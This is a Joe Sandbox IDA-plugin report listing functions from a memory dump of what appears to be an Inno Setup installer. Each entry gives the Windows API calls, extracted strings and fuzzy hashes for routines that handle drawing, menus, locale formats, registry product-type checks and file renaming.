Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Metrics$ObjectSelectSystemText$A480A570CreateFontIndirect
String ID:
API String ID: 361401722-0
Opcode ID: b2b94357b54da494d777ecf551893d0d8b047354e7f5508bf0348299275d4240
Instruction ID: 6143225b0a8ca3b977d6363335e7cd80f7f8ea5cda66b8f0fa851fdc2eb08b32
Opcode Fuzzy Hash: b2b94357b54da494d777ecf551893d0d8b047354e7f5508bf0348299275d4240
Instruction Fuzzy Hash: 360104917087103BF710B2769CC2F6B6188DB9435CF44003FFA469A3D3D56C8C45866A

Function 0041DD94 Relevance: 12.1, APIs: 8, Instructions: 60windowCOMMON

Download Yara Rule

APIs

73A1A570.USER32(00000000,?,00418FC9,00493D61), ref: 0041DD97
73A24620.GDI32(00000000,0000005A,00000000,?,00418FC9,00493D61), ref: 0041DDA1
73A1A480.USER32(00000000,00000000,00000000,0000005A,00000000,?,00418FC9,00493D61), ref: 0041DDAE
MulDiv.KERNEL32(00000008,00000060,00000048), ref: 0041DDBD
GetStockObject.GDI32(00000007), ref: 0041DDCB
GetStockObject.GDI32(00000005), ref: 0041DDD7
GetStockObject.GDI32(0000000D), ref: 0041DDE3
LoadIconA.USER32(00000000,00007F00), ref: 0041DDF4

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ObjectStock$A24620A480A570IconLoad
String ID:
API String ID: 3573811560-0
Opcode ID: 79ba34301ffdcd870fce82e69020cd4fb5d8953881da513776c9bfc891f1925d
Instruction ID: bf46a9fe5e63f1af167cdf0a983a4ac464f15f0dd566559e746e50b59b955e29
Opcode Fuzzy Hash: 79ba34301ffdcd870fce82e69020cd4fb5d8953881da513776c9bfc891f1925d
Instruction Fuzzy Hash: A11130706453419AE740BF655992BA63690DB64748F01813FF609AF2D2DB7A0C448B5E

Function 0045FC50 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 273COMMON

Download Yara Rule

APIs

LoadCursorA.USER32(00000000,00007F02), ref: 0045FD54
SetCursor.USER32(00000000,00000000,00007F02,00000000,0045FDE9), ref: 0045FD5A
SetCursor.USER32(?,0045FDD1,00007F02,00000000,0045FDE9), ref: 0045FDC4

Strings

, xrefs: 0045FFEA
, xrefs: 0045FFCF
Internal error: Item already expanding, xrefs: 0045FCF1

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Cursor$Load
String ID: $ $Internal error: Item already expanding
API String ID: 1675784387-1948079669
Opcode ID: cbcaf699635bd630a72a4eac0a0a8fd949d1c77c66c52591749928b74767f1e3
Instruction ID: c15dcae1284b043cf062e7fbe70a6b68a16d6112b11b2fd4dc8b2ee3b250eb6b
Opcode Fuzzy Hash: cbcaf699635bd630a72a4eac0a0a8fd949d1c77c66c52591749928b74767f1e3
Instruction Fuzzy Hash: 08B19B316006449FDB20DF68C585B9ABBF1AF05305F2484BAE8459B7A3C778AD4CCB1A

Function 00452934 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 225COMMON

Download Yara Rule

APIs

WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00452A1B

Strings

[rename], xrefs: 00452A7E, 00452ABA
NUL, xrefs: 00452ADD
WININIT.INI, xrefs: 004529C9
MoveFileEx, xrefs: 00452C2B
.tmp, xrefs: 004529D7

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID: .tmp$MoveFileEx$NUL$WININIT.INI$[rename]
API String ID: 390214022-3304407042
Opcode ID: 182027291fff5e899aa86aa762805f048132cfde8caabb70ed6ea897400556cc
Instruction ID: ed2541dd238ae7fbfc90e8818236df2ea80c3df40bc3cac8b0221b07faaa0e68
Opcode Fuzzy Hash: 182027291fff5e899aa86aa762805f048132cfde8caabb70ed6ea897400556cc
Instruction Fuzzy Hash: 1E912534A002099BDB11EFA5C982BDEB7F5EF49309F508567E80077392D7B86E09CB58

Function 00472974 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 200windowCOMMON

Download Yara Rule

APIs

GetClassInfoW.USER32(00000000,COMBOBOX,?), ref: 004729CD
73A259E0.USER32(00000000,000000FC,00472928,00000000,00472C0C,?,00000000,00472C36), ref: 004729F4
GetACP.KERNEL32(00000000,00472C0C,?,00000000,00472C36), ref: 00472A31
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00472A77

Strings

COMBOBOX, xrefs: 004729C6
Inno Setup: Language, xrefs: 00472AFF

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: A259ClassInfoMessageSend
String ID: COMBOBOX$Inno Setup: Language
API String ID: 3217714596-4234151509
Opcode ID: b93ba9c9bd2dccfc5da510bd1d79d83b4d9a41b54c405923ad32323a0c0928f2
Instruction ID: 9f4fb4c35ce0e0e7a21fc6b4426de3d05f1103b659b7499eccdb2df7d9fa603c
Opcode Fuzzy Hash: b93ba9c9bd2dccfc5da510bd1d79d83b4d9a41b54c405923ad32323a0c0928f2
Instruction Fuzzy Hash: A4813C34A042059FCB10DF69CA85AAAB7F0FB49304F1581BAE808E7762D778AD45CB58

Function 0047904C Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 194fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNEL32(000000FF,?,00000000,004791BC,?,?,?,?,00000000,00479311,?,00000000,?,00000000,?,00479465), ref: 00479198
FindClose.KERNEL32(000000FF,004791C3,004791BC,?,?,?,?,00000000,00479311,?,00000000,?,00000000,?,00479465,00000000), ref: 004791B6

Strings

*kF, xrefs: 0047923A, 0047916B, 0047916E, 0047923D
*kF, xrefs: 0047908C, 004790A3

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Find$CloseFileNext
String ID: *kF$*kF
API String ID: 2066263336-1075660362
Opcode ID: c8d8e8b8a62ee62aa2d3f46a3f80bb79bdd6e23a1a1706ee0b215bce3d42e3ae
Instruction ID: 2c1607e8b37fd23dc5c02d32c1da125da4c7c67d98c9cf595dd82ee7d28d14ce
Opcode Fuzzy Hash: c8d8e8b8a62ee62aa2d3f46a3f80bb79bdd6e23a1a1706ee0b215bce3d42e3ae
Instruction Fuzzy Hash: 6181603090424DAFDF11EFA5CC45ADFBBB9EB49304F4084AAE408A7291D7399E46CF58

Function 00408688 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 167COMMON

Download Yara Rule

APIs

GetSystemDefaultLCID.KERNEL32(00000000,004088D0,?,?,?,?,00000000,00000000,00000000,?,004098D7,00000000,004098EA), ref: 004086A2

Part of subcall function 004084D0: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,004964C0,00000001,?,0040859B,?,00000000,0040867A), ref: 004084EE

Part of subcall function 0040851C: GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,0040871E,?,?,?,00000000,004088D0), ref: 0040852F

Strings

AMPM, xrefs: 0040886D
:mm:ss, xrefs: 0040889E
m/d/yy, xrefs: 00408771
:mm, xrefs: 00408884
mmmm d, yyyy, xrefs: 00408793

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: InfoLocale$DefaultSystem
String ID: AMPM$:mm$:mm:ss$m/d/yy$mmmm d, yyyy
API String ID: 1044490935-665933166
Opcode ID: d28892a32a3756e591db26ccf56d4423c4b5dcf68a3e55eb2d1216e614db25d0
Instruction ID: f7723302c3cbbcbb01f246a146743d61dec29c667e41bc47a3323a0acc4546db
Opcode Fuzzy Hash: d28892a32a3756e591db26ccf56d4423c4b5dcf68a3e55eb2d1216e614db25d0
Instruction Fuzzy Hash: CB514A35B00248ABDB01FBAA8941A9F7769DB98308F50D47FA141BB3C6DE3DDA05871D

Function 00411664 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 158windowCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,00411869), ref: 004116FC
InsertMenuItemA.USER32(?,000000FF,00000001,0000002C), ref: 004117BA

Part of subcall function 00411A1C: CreatePopupMenu.USER32 ref: 00411A36

InsertMenuA.USER32(?,000000FF,?,?,00000000), ref: 00411846

Part of subcall function 00411A1C: CreateMenu.USER32 ref: 00411A40

InsertMenuA.USER32(?,000000FF,?,00000000,00000000), ref: 0041182D

Strings

,, xrefs: 0041170F
?, xrefs: 00411716

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Menu$Insert$Create$ItemPopupVersion
String ID: ,$?
API String ID: 2359071979-2308483597
Opcode ID: 010854372fc0fcd25a665cda3fe7d3b7b01a6123dcc7f0b08eba14dece9f5074
Instruction ID: 3f3527f43cca8a4f6c45e7f3696c032b38f9f6d147acb0657ff8a7652be0e8fd
Opcode Fuzzy Hash: 010854372fc0fcd25a665cda3fe7d3b7b01a6123dcc7f0b08eba14dece9f5074
Instruction Fuzzy Hash: CC511774A001409BDB10EF6ADC81ADA7BF9BF49304B1585BBF904E73A6D738C942CB58

Function 0041BDD3 Relevance: 10.7, APIs: 7, Instructions: 153windowCOMMON

Download Yara Rule

APIs

GetObjectA.GDI32(?,00000018,?), ref: 0041BE98
GetObjectA.GDI32(?,00000018,?), ref: 0041BEA7
GetBitmapBits.GDI32(?,?,?), ref: 0041BEF8
GetBitmapBits.GDI32(?,?,?), ref: 0041BF06
DeleteObject.GDI32(?), ref: 0041BF0F
DeleteObject.GDI32(?), ref: 0041BF18
CreateIcon.USER32(00400000,?,?,?,?,?,?), ref: 0041BF35

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Object$BitmapBitsDelete$CreateIcon
String ID:
API String ID: 1030595962-0
Opcode ID: c7b0e75b457b54f40c973da1b74c3022c367d96584a0130cfc4ac672875a8614
Instruction ID: 2920a3410ecffe373541ee6f53742fd475180ef7da711f6faed1b6e94a947089
Opcode Fuzzy Hash: c7b0e75b457b54f40c973da1b74c3022c367d96584a0130cfc4ac672875a8614
Instruction Fuzzy Hash: 0C510571E00219AFCB14DFA9D8819EEB7F9EF48314B11446AF914E7391D738AD81CB64

Function 0041CE48 Relevance: 10.7, APIs: 7, Instructions: 152windowCOMMON

Download Yara Rule

APIs

SetStretchBltMode.GDI32(00000000,00000003), ref: 0041CE6E
73A24620.GDI32(00000000,00000026), ref: 0041CE8D
73A18830.GDI32(?,?,00000001,00000000,00000026), ref: 0041CEF3
73A122A0.GDI32(?,?,?,00000001,00000000,00000026), ref: 0041CF02
StretchBlt.GDI32(00000000,?,?,?,?,?,00000000,00000000,00000000,?,?), ref: 0041CF6C
StretchDIBits.GDI32(?,?,?,?,?,00000000,00000000,00000000,?,?,?,00000000,?), ref: 0041CFAA
73A18830.GDI32(?,?,00000001,0041CFDC,00000000,00000026), ref: 0041CFCF

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Stretch$A18830$A122A24620BitsMode
String ID:
API String ID: 430401518-0
Opcode ID: 0c94fab632c6515f63448766fa34b64ada61781155f7cee300e1982171a48fb1
Instruction ID: 0295d75a013be80ecc2d975aeb153abe1d20fbb24d7cab5e263b7fb8805ed029
Opcode Fuzzy Hash: 0c94fab632c6515f63448766fa34b64ada61781155f7cee300e1982171a48fb1
Instruction Fuzzy Hash: 6A512970644600AFDB14DFA8C985FABBBF9AF08304F10459AF544DB292C778ED80CB58

Function 004556A0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,?,?), ref: 004556F2

Part of subcall function 004241EC: GetWindowTextA.USER32(?,?,00000100), ref: 0042420C

Part of subcall function 0041EE14: GetCurrentThreadId.KERNEL32 ref: 0041EE63
Part of subcall function 0041EE14: 73A25940.USER32(00000000,0041EDC4,00000000,00000000,0041EE80,?,00000000,0041EEB7,?,0042EA14,?,00000001), ref: 0041EE69

Part of subcall function 00424234: SetWindowTextA.USER32(?,00000000), ref: 0042424C

GetMessageA.USER32(?,00000000,00000000,00000000), ref: 00455759
TranslateMessage.USER32(?), ref: 00455777
DispatchMessageA.USER32(?), ref: 00455780

Strings

[Paused] , xrefs: 00455728

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Message$TextWindow$A25940CurrentDispatchSendThreadTranslate
String ID: [Paused]
API String ID: 3047529653-4230553315
Opcode ID: 09b92ce401aaf4d21c704b9c87b92c2373ad68ae59fc15d3723443bc50190c69
Instruction ID: a68f00020d28f0ce2fe800ef048375fbf5ba8330b605a25175dd7787278219b1
Opcode Fuzzy Hash: 09b92ce401aaf4d21c704b9c87b92c2373ad68ae59fc15d3723443bc50190c69
Instruction Fuzzy Hash: B831B534904644AEDB01DBB5DC51B9EBBB8EB4D314F5140BBE800E3292D73C9909CB29

Function 00467850 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 99sleepCOMMON

Download Yara Rule

APIs

GetCursor.USER32(00000000,0046798F), ref: 0046790C
LoadCursorA.USER32(00000000,00007F02), ref: 0046791A
SetCursor.USER32(00000000,00000000,00007F02,00000000,0046798F), ref: 00467920
Sleep.KERNEL32(000002EE,00000000,00000000,00007F02,00000000,0046798F), ref: 0046792A
SetCursor.USER32(00000000,000002EE,00000000,00000000,00007F02,00000000,0046798F), ref: 00467930

Strings

CheckPassword, xrefs: 004678B4

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Cursor$LoadSleep
String ID: CheckPassword
API String ID: 4023313301-1302249611
Opcode ID: 258301bf63e5269af25525ff088430cdfba590d42d048531137d3defa84d42db
Instruction ID: cd6282a444cc2a814528b7acde4eb1d3b26ba6ae4876a3af77a2fa4a59b9ba6f
Opcode Fuzzy Hash: 258301bf63e5269af25525ff088430cdfba590d42d048531137d3defa84d42db
Instruction Fuzzy Hash: 7031B5746442049FE701EB79C88AF9E7BE4AF49308F5580B6B844AF3A2D7789D44CB49

Function 00457FE8 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 86libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(626D6573,CreateAssemblyCache), ref: 004580A3

Strings

Failed to load .NET Framework DLL "%s", xrefs: 00458088
Failed to get address of .NET Framework CreateAssemblyCache function, xrefs: 004580AE
.NET Framework CreateAssemblyCache function failed, xrefs: 004580C6
CreateAssemblyCache, xrefs: 0045809A
Fusion.dll, xrefs: 00458043

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AddressProc
String ID: .NET Framework CreateAssemblyCache function failed$CreateAssemblyCache$Failed to get address of .NET Framework CreateAssemblyCache function$Failed to load .NET Framework DLL "%s"$Fusion.dll
API String ID: 190572456-3990135632
Opcode ID: fc1ab06f9d00bf82fe5bbcc018fb23eb7902ba4ef3a396a7911397a5e7e127bb
Instruction ID: 87f49f4d96cbbed91859b05e9b999843736b61dc8f5f6f83b0dee37b45dbbca8
Opcode Fuzzy Hash: fc1ab06f9d00bf82fe5bbcc018fb23eb7902ba4ef3a396a7911397a5e7e127bb
Instruction Fuzzy Hash: 5531A671E00605ABCB10EBA5C88159FB7A4AF45715F40857FE814B7382DF389A09CB99

Function 0041C0B8 Relevance: 10.6, APIs: 7, Instructions: 70windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0041BFB8: GetObjectA.GDI32(?,00000018), ref: 0041BFC5

GetFocus.USER32 ref: 0041C0D8
73A1A570.USER32(?), ref: 0041C0E4
73A18830.GDI32(?,?,00000000,00000000,0041C163,?,?), ref: 0041C105
73A122A0.GDI32(?,?,?,00000000,00000000,0041C163,?,?), ref: 0041C111
GetDIBits.GDI32(?,?,00000000,?,?,?,00000000), ref: 0041C128
73A18830.GDI32(?,00000000,00000000,0041C16A,?,?), ref: 0041C150
73A1A480.USER32(?,?,0041C16A,?,?), ref: 0041C15D

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: A18830$A122A480A570BitsFocusObject
String ID:
API String ID: 2231653193-0
Opcode ID: 79a038cea31138c71b2ef77edfdeafaab103df7d1acda3a818e2678accba0093
Instruction ID: be6d8328aec04e85a436dd0cf8ae2147a44d9b66c6d411dca3268b31211d8f12
Opcode Fuzzy Hash: 79a038cea31138c71b2ef77edfdeafaab103df7d1acda3a818e2678accba0093
Instruction Fuzzy Hash: B2116A71A40618BFDB10DBA9CC86FAFB7FCEF48700F54446AB514E7281D6789D008B68

Function 0047EC60 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 61registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DC54: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0047EBD7,?,00000001,?,?,0047EBD7,?,00000001,00000000), ref: 0042DC70

RegCloseKey.ADVAPI32(?,?,00000001,00000000,00000000,0047ED18), ref: 0047ECFD

Strings

System\CurrentControlSet\Control\ProductOptions, xrefs: 0047EC84
ServerNT, xrefs: 0047ECE1
LanmanNT, xrefs: 0047ECC7
WinNT, xrefs: 0047ECAD
ProductType, xrefs: 0047EC9C

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CloseOpen
String ID: LanmanNT$ProductType$ServerNT$System\CurrentControlSet\Control\ProductOptions$WinNT
API String ID: 47109696-2530820420
Opcode ID: 0055f270ad1a10450845ded1ea058324a7b1b24156a594998e1b708a00871bcc
Instruction ID: 341e95421366e53114c8ca6f25c4ff977ab3e2c7ea4cfefa4db1f93c8273b5db
Opcode Fuzzy Hash: 0055f270ad1a10450845ded1ea058324a7b1b24156a594998e1b708a00871bcc
Instruction Fuzzy Hash: 4C11D334714245AEDB21D7BBDC02BDA3AA8DB49314F21C5F7A905E7282E7799A01C71C

Function 00490674 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

73A1A570.USER32(00000000,?,?,00000000), ref: 00490685

Part of subcall function 0041A158: CreateFontIndirectA.GDI32(?), ref: 0041A217

SelectObject.GDI32(00000000,00000000), ref: 004906A7
GetTextExtentPointA.GDI32(00000000,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz,00000034,00490C25), ref: 004906BB
GetTextMetricsA.GDI32(00000000,?), ref: 004906DD
73A1A480.USER32(00000000,00000000,00490707,00490700,?,00000000,?,?,00000000), ref: 004906FA

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz, xrefs: 004906B2

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Text$A480A570CreateExtentFontIndirectMetricsObjectPointSelect
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
API String ID: 1435929781-222967699
Opcode ID: 94e413365087a897d583a7d18cf7930ea35cda37ec70d90aff6de7051d833aec
Instruction ID: 9a64f1c2bb30d3bf306b56aa24f1f19682fb43c7afbb8c1f5b09a534594b3a1a
Opcode Fuzzy Hash: 94e413365087a897d583a7d18cf7930ea35cda37ec70d90aff6de7051d833aec
Instruction Fuzzy Hash: 14016176A04608BFEB00DAE9CC41F5FB7ECDB49714F61047AF600E7281D678AE009B68

Function 0041B3D2 Relevance: 10.6, APIs: 7, Instructions: 57windowCOMMON

Download Yara Rule

APIs

SelectObject.GDI32(00000000,?), ref: 0041B3E0
SelectObject.GDI32(?,00000000), ref: 0041B3EF
StretchBlt.GDI32(?,00000000,00000000,0000000B,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0041B41B
SelectObject.GDI32(00000000,00000000), ref: 0041B429
SelectObject.GDI32(?,00000000), ref: 0041B437
DeleteDC.GDI32(00000000), ref: 0041B440
DeleteDC.GDI32(?), ref: 0041B449

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ObjectSelect$Delete$Stretch
String ID:
API String ID: 1458357782-0
